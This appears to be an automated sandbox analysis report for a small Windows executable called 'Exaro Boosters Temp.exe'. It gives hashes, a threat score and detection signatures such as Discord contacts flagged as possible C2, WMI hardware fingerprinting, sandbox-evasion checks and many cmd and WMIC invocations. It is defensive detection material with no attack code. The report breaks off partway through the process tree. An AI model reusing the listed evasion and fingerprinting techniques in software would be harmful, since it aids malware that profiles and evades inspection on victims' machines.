4e87fa34fe7721981c4aa54ec412784e2ffdd7c250fea3ef2466f530016f92df

Resubmissions

07/11/2026, 11:19

261107-new7haef87

07/11/2026, 11:17

261107-ndwvcaxt5l6

Analysis

geolocation tags

asiadelhiinindia
user interaction
yes
max time kernel
61s
max time network
45s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/11/2026, 11:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Exaro Boosters Temp.exe
Size 15KB
Sample261107-ndwvcaxt5l
SHA256 4e87fa34fe7721981c4aa54ec412784e2ffdd7c250fea3ef2466f530016f92df
MD5 db33ded87c0354607469474b38f42e52
SHA1 b38acd05e6f60ff1e3619a0ab1d690b489a60f6e
SHA512 087d02a959cd386b346752649d57b65c3c9f3025b9f4fab9a84b359ffd9362c78480f8c3541b47a52d3c9fc842b19ac3661572115ae58870898999967287d07a
SSDEEP 192:XnzFdybdRFqm4yeuU3k5JSjweUc/IGCSp4ZaAws681slsQ5tfDo1:XnzXybZqCBUn5Uc/Pfsl
TLSH
T1E9622ACF7F9648EAC1A9C27180730616F231BD61076293CF93B6612C1FB96C43E6D659
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

defense_evasion discovery execution

Malware Config

Signatures

Contacts third-party web service commonly abused for C2 1 TTPs 6 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
34	discord.com
35	discord.com
39	discord.com
44	discord.com
62	discord.com
70	discord.com

Uses WMI to collect hardware manufacturer information 2 TTPs 2 IoCs

Uses WMI to read the system manufacturer, model, baseboard or display adapter, which is often used to detect virtual machines and evade sandboxes.

defense_evasion

System Checks

T1497.001

Windows Management Instrumentation

T1047

pid	Process
4372	WMIC.exe
5404	WMIC.exe

Drops file in System32 directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\wbem\repository\INDEX.BTR	svchost.exe
File opened for modification	C:\Windows\system32\wbem\repository	svchost.exe
File opened for modification	C:\Windows\system32\wbem\repository\WRITABLE.TST	svchost.exe
File opened for modification	C:\Windows\system32\wbem\repository\MAPPING1.MAP	svchost.exe
File opened for modification	C:\Windows\system32\wbem\repository\MAPPING2.MAP	svchost.exe
File opened for modification	C:\Windows\system32\wbem\repository\MAPPING3.MAP	svchost.exe
File opened for modification	C:\Windows\system32\wbem\repository\OBJECTS.DATA	svchost.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\km\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\is\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\gl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\cy\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\zh_TW\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\ko\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\si\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\bn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\el\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\service_worker_bin_prod.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\mk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\ml\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\lv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\zu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\uk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\fil\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\ne\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\fr_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\am\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\no\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\en_US\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\ar\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\sv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\128.png	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\sl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\vi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\ru\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\ms\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\dasherSettingSchema.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\page_embed_script.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\lt\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\th\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\pt_BR\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\sq\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\ja\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\my\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\sw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\fr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\fi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\de\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\kn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\hy\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\iw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\or\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\ka\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\lo\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\sk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\uz\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\sr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\msedge_url_fetcher_2996_1892308037\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_111_1_0.crx	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\es_419\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\fa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\hi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\pl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\offscreendocument_main.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\as\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\ca\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\az\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\ur\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\nl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\en_GB\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\_locales\ta\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2996_1627870849\offscreendocument.html	msedge.exe

Queries system WMI classes for hardware identifiers 2 TTPs 12 IoCs

Uses WMI to read hardware serial numbers or the system UUID, commonly used to fingerprint the victim machine.

discovery

System Information Discovery

T1082

Windows Management Instrumentation

T1047

pid	Process
5460	WMIC.exe
2644	WMIC.exe
1412	WMIC.exe
3680	WMIC.exe
5660	WMIC.exe
1344	WMIC.exe
1908	WMIC.exe
3224	WMIC.exe
5480	WMIC.exe
3360	WMIC.exe
5340	WMIC.exe
4100	WMIC.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 42 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6040	cmd.exe
4780	cmd.exe
3236	cmd.exe
5140	cmd.exe
3868	cmd.exe
6108	cmd.exe
3452	cmd.exe
4924	cmd.exe
3552	cmd.exe
2104	cmd.exe
3760	cmd.exe
5348	cmd.exe
6084	cmd.exe
4776	cmd.exe
3380	cmd.exe
4804	cmd.exe
2028	cmd.exe
1684	cmd.exe
3220	cmd.exe
4540	cmd.exe
5468	cmd.exe
5288	cmd.exe
2728	cmd.exe
5240	cmd.exe
5304	cmd.exe
4116	cmd.exe
2236	cmd.exe
5360	cmd.exe
4904	cmd.exe
500	cmd.exe
3408	cmd.exe
4560	cmd.exe
5736	cmd.exe
5948	cmd.exe
3576	cmd.exe
5836	cmd.exe
4748	cmd.exe
4916	cmd.exe
5960	cmd.exe
4644	cmd.exe
5676	cmd.exe
4836	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 32 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
844	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-696679853-3915825385-3233721679-1000\{3A470B4E-A057-485A-8456-5C32DBFB54C3}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-696679853-3915825385-3233721679-1000\{C44F835B-EC38-4A44-87B1-F42D17FD11FF}	msedge.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5340	WMIC.exe
5340	WMIC.exe
5340	WMIC.exe
5340	WMIC.exe
1908	WMIC.exe
1908	WMIC.exe
1908	WMIC.exe
1908	WMIC.exe
3224	WMIC.exe
3224	WMIC.exe
3224	WMIC.exe
3224	WMIC.exe
4100	WMIC.exe
4100	WMIC.exe
4100	WMIC.exe
4100	WMIC.exe
5460	WMIC.exe
5460	WMIC.exe
5460	WMIC.exe
5460	WMIC.exe
2644	WMIC.exe
2644	WMIC.exe
2644	WMIC.exe
2644	WMIC.exe
4372	WMIC.exe
4372	WMIC.exe
4372	WMIC.exe
4372	WMIC.exe
4968	WMIC.exe
4968	WMIC.exe
4968	WMIC.exe
4968	WMIC.exe
1412	WMIC.exe
1412	WMIC.exe
1412	WMIC.exe
1412	WMIC.exe
3680	WMIC.exe
3680	WMIC.exe
3680	WMIC.exe
3680	WMIC.exe
5660	WMIC.exe
5660	WMIC.exe
5660	WMIC.exe
5660	WMIC.exe
5480	WMIC.exe
5480	WMIC.exe
5480	WMIC.exe
5480	WMIC.exe
3360	WMIC.exe
3360	WMIC.exe
3360	WMIC.exe
3360	WMIC.exe
1344	WMIC.exe
1344	WMIC.exe
1344	WMIC.exe
1344	WMIC.exe
5404	WMIC.exe
5404	WMIC.exe
5404	WMIC.exe
5404	WMIC.exe
4596	WMIC.exe
4596	WMIC.exe
4596	WMIC.exe
4596	WMIC.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
2996	msedge.exe
2996	msedge.exe
2996	msedge.exe
2996	msedge.exe
2996	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	5340	WMIC.exe
Token: SeSecurityPrivilege	5340	WMIC.exe
Token: SeTakeOwnershipPrivilege	5340	WMIC.exe
Token: SeLoadDriverPrivilege	5340	WMIC.exe
Token: SeSystemProfilePrivilege	5340	WMIC.exe
Token: SeSystemtimePrivilege	5340	WMIC.exe
Token: SeProfSingleProcessPrivilege	5340	WMIC.exe
Token: SeIncBasePriorityPrivilege	5340	WMIC.exe
Token: SeCreatePagefilePrivilege	5340	WMIC.exe
Token: SeBackupPrivilege	5340	WMIC.exe
Token: SeRestorePrivilege	5340	WMIC.exe
Token: SeShutdownPrivilege	5340	WMIC.exe
Token: SeDebugPrivilege	5340	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5340	WMIC.exe
Token: SeRemoteShutdownPrivilege	5340	WMIC.exe
Token: SeUndockPrivilege	5340	WMIC.exe
Token: SeManageVolumePrivilege	5340	WMIC.exe
Token: 33	5340	WMIC.exe
Token: 34	5340	WMIC.exe
Token: 35	5340	WMIC.exe
Token: 36	5340	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	5824	svchost.exe
Token: SeIncreaseQuotaPrivilege	5824	svchost.exe
Token: SeSecurityPrivilege	5824	svchost.exe
Token: SeTakeOwnershipPrivilege	5824	svchost.exe
Token: SeLoadDriverPrivilege	5824	svchost.exe
Token: SeSystemtimePrivilege	5824	svchost.exe
Token: SeBackupPrivilege	5824	svchost.exe
Token: SeRestorePrivilege	5824	svchost.exe
Token: SeShutdownPrivilege	5824	svchost.exe
Token: SeSystemEnvironmentPrivilege	5824	svchost.exe
Token: SeUndockPrivilege	5824	svchost.exe
Token: SeManageVolumePrivilege	5824	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	5824	svchost.exe
Token: SeIncreaseQuotaPrivilege	5824	svchost.exe
Token: SeSecurityPrivilege	5824	svchost.exe
Token: SeTakeOwnershipPrivilege	5824	svchost.exe
Token: SeLoadDriverPrivilege	5824	svchost.exe
Token: SeSystemtimePrivilege	5824	svchost.exe
Token: SeBackupPrivilege	5824	svchost.exe
Token: SeRestorePrivilege	5824	svchost.exe
Token: SeShutdownPrivilege	5824	svchost.exe
Token: SeSystemEnvironmentPrivilege	5824	svchost.exe
Token: SeUndockPrivilege	5824	svchost.exe
Token: SeManageVolumePrivilege	5824	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	5824	svchost.exe
Token: SeIncreaseQuotaPrivilege	5824	svchost.exe
Token: SeSecurityPrivilege	5824	svchost.exe
Token: SeTakeOwnershipPrivilege	5824	svchost.exe
Token: SeLoadDriverPrivilege	5824	svchost.exe
Token: SeSystemtimePrivilege	5824	svchost.exe
Token: SeBackupPrivilege	5824	svchost.exe
Token: SeRestorePrivilege	5824	svchost.exe
Token: SeShutdownPrivilege	5824	svchost.exe
Token: SeSystemEnvironmentPrivilege	5824	svchost.exe
Token: SeUndockPrivilege	5824	svchost.exe
Token: SeManageVolumePrivilege	5824	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	5824	svchost.exe
Token: SeIncreaseQuotaPrivilege	5824	svchost.exe
Token: SeSecurityPrivilege	5824	svchost.exe
Token: SeTakeOwnershipPrivilege	5824	svchost.exe
Token: SeLoadDriverPrivilege	5824	svchost.exe
Token: SeSystemtimePrivilege	5824	svchost.exe
Token: SeBackupPrivilege	5824	svchost.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2996	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1120 wrote to memory of 5676	1120	Exaro Boosters Temp.exe	90
PID 5676 wrote to memory of 2996	5676	cmd.exe	91
PID 1120 wrote to memory of 6108	1120	Exaro Boosters Temp.exe	92
PID 2996 wrote to memory of 596	2996	msedge.exe	93
PID 2996 wrote to memory of 2816	2996	msedge.exe	94
PID 2996 wrote to memory of 844	2996	msedge.exe	95
PID 2996 wrote to memory of 2816	2996	msedge.exe	94
PID 2996 wrote to memory of 2816	2996	msedge.exe	94
PID 2996 wrote to memory of 1848	2996	msedge.exe	96
PID 2996 wrote to memory of 1848	2996	msedge.exe	96
PID 2996 wrote to memory of 1608	2996	msedge.exe	98
PID 2996 wrote to memory of 1104	2996	msedge.exe	99
PID 2996 wrote to memory of 1608	2996	msedge.exe	98
PID 2996 wrote to memory of 1608	2996	msedge.exe	98
PID 2996 wrote to memory of 1104	2996	msedge.exe	99
PID 2996 wrote to memory of 1104	2996	msedge.exe	99
PID 2996 wrote to memory of 5916	2996	msedge.exe	100
PID 2996 wrote to memory of 5900	2996	msedge.exe	101
PID 2996 wrote to memory of 5916	2996	msedge.exe	100
PID 2996 wrote to memory of 5916	2996	msedge.exe	100
PID 2996 wrote to memory of 5900	2996	msedge.exe	101
PID 2996 wrote to memory of 5900	2996	msedge.exe	101
PID 2996 wrote to memory of 5876	2996	msedge.exe	103
PID 2996 wrote to memory of 5876	2996	msedge.exe	103
PID 2996 wrote to memory of 2652	2996	msedge.exe	104
PID 2996 wrote to memory of 2956	2996	msedge.exe	105
PID 2996 wrote to memory of 2652	2996	msedge.exe	104
PID 2996 wrote to memory of 2956	2996	msedge.exe	105
PID 2996 wrote to memory of 5432	2996	msedge.exe	107
PID 2996 wrote to memory of 6140	2996	msedge.exe	108
PID 2996 wrote to memory of 6140	2996	msedge.exe	108
PID 2996 wrote to memory of 6140	2996	msedge.exe	108
PID 2996 wrote to memory of 2480	2996	msedge.exe	111
PID 2996 wrote to memory of 2480	2996	msedge.exe	111
PID 2996 wrote to memory of 5300	2996	msedge.exe	112
PID 2996 wrote to memory of 5300	2996	msedge.exe	112
PID 2996 wrote to memory of 5736	2996	msedge.exe	113
PID 2996 wrote to memory of 2056	2996	msedge.exe	114
PID 2996 wrote to memory of 5736	2996	msedge.exe	113
PID 2996 wrote to memory of 2056	2996	msedge.exe	114
PID 1120 wrote to memory of 1684	1120	Exaro Boosters Temp.exe	115
PID 1120 wrote to memory of 3220	1120	Exaro Boosters Temp.exe	116
PID 3220 wrote to memory of 6040	3220	cmd.exe	117
PID 2996 wrote to memory of 4696	2996	msedge.exe	118
PID 2996 wrote to memory of 4736	2996	msedge.exe	119
PID 2996 wrote to memory of 4736	2996	msedge.exe	119
PID 1120 wrote to memory of 5836	1120	Exaro Boosters Temp.exe	120
PID 5836 wrote to memory of 4748	5836	cmd.exe	121
PID 1120 wrote to memory of 3452	1120	Exaro Boosters Temp.exe	122
PID 1120 wrote to memory of 6084	1120	Exaro Boosters Temp.exe	123
PID 1120 wrote to memory of 4924	1120	Exaro Boosters Temp.exe	124
PID 4924 wrote to memory of 4376	4924	cmd.exe	125
PID 4376 wrote to memory of 5212	4376	net.exe	126
PID 1120 wrote to memory of 4560	1120	Exaro Boosters Temp.exe	127
PID 4560 wrote to memory of 4864	4560	cmd.exe	128
PID 4864 wrote to memory of 4964	4864	net.exe	129
PID 2996 wrote to memory of 3136	2996	msedge.exe	132
PID 2996 wrote to memory of 4968	2996	msedge.exe	133
PID 2996 wrote to memory of 4136	2996	msedge.exe	134
PID 1120 wrote to memory of 2728	1120	Exaro Boosters Temp.exe	135
PID 1120 wrote to memory of 4776	1120	Exaro Boosters Temp.exe	136
PID 1120 wrote to memory of 4540	1120	Exaro Boosters Temp.exe	137
PID 1120 wrote to memory of 4748	1120	Exaro Boosters Temp.exe	138
PID 4748 wrote to memory of 5340	4748	cmd.exe	139

C:\Users\Admin\AppData\Local\Temp\Exaro Boosters Temp.exe
"C:\Users\Admin\AppData\Local\Temp\Exaro Boosters Temp.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1120
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://discord.gg/exaro
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5676
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.gg/exaro
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:2996
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x368,0x7ffa63fbc188,0x7ffa63fbc194,0x7ffa63fbc1a0
      4⤵
      PID:596
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1604,i,16704585374050608282,1655185242580501686,262144 --field-trial-handle=2768,i,5758784565391367953,8640102171428817521,262144 --variations-seed-version --mojo-platform-channel-handle=2764 /prefetch:2
      4⤵
      PID:2816
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1896,i,16051973555277513365,13383146904312117136,524288 --field-trial-handle=2768,i,5758784565391367953,8640102171428817521,262144 --variations-seed-version --mojo-platform-channel-handle=3096 /prefetch:11
      4⤵
      System Time Discovery
      PID:844
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
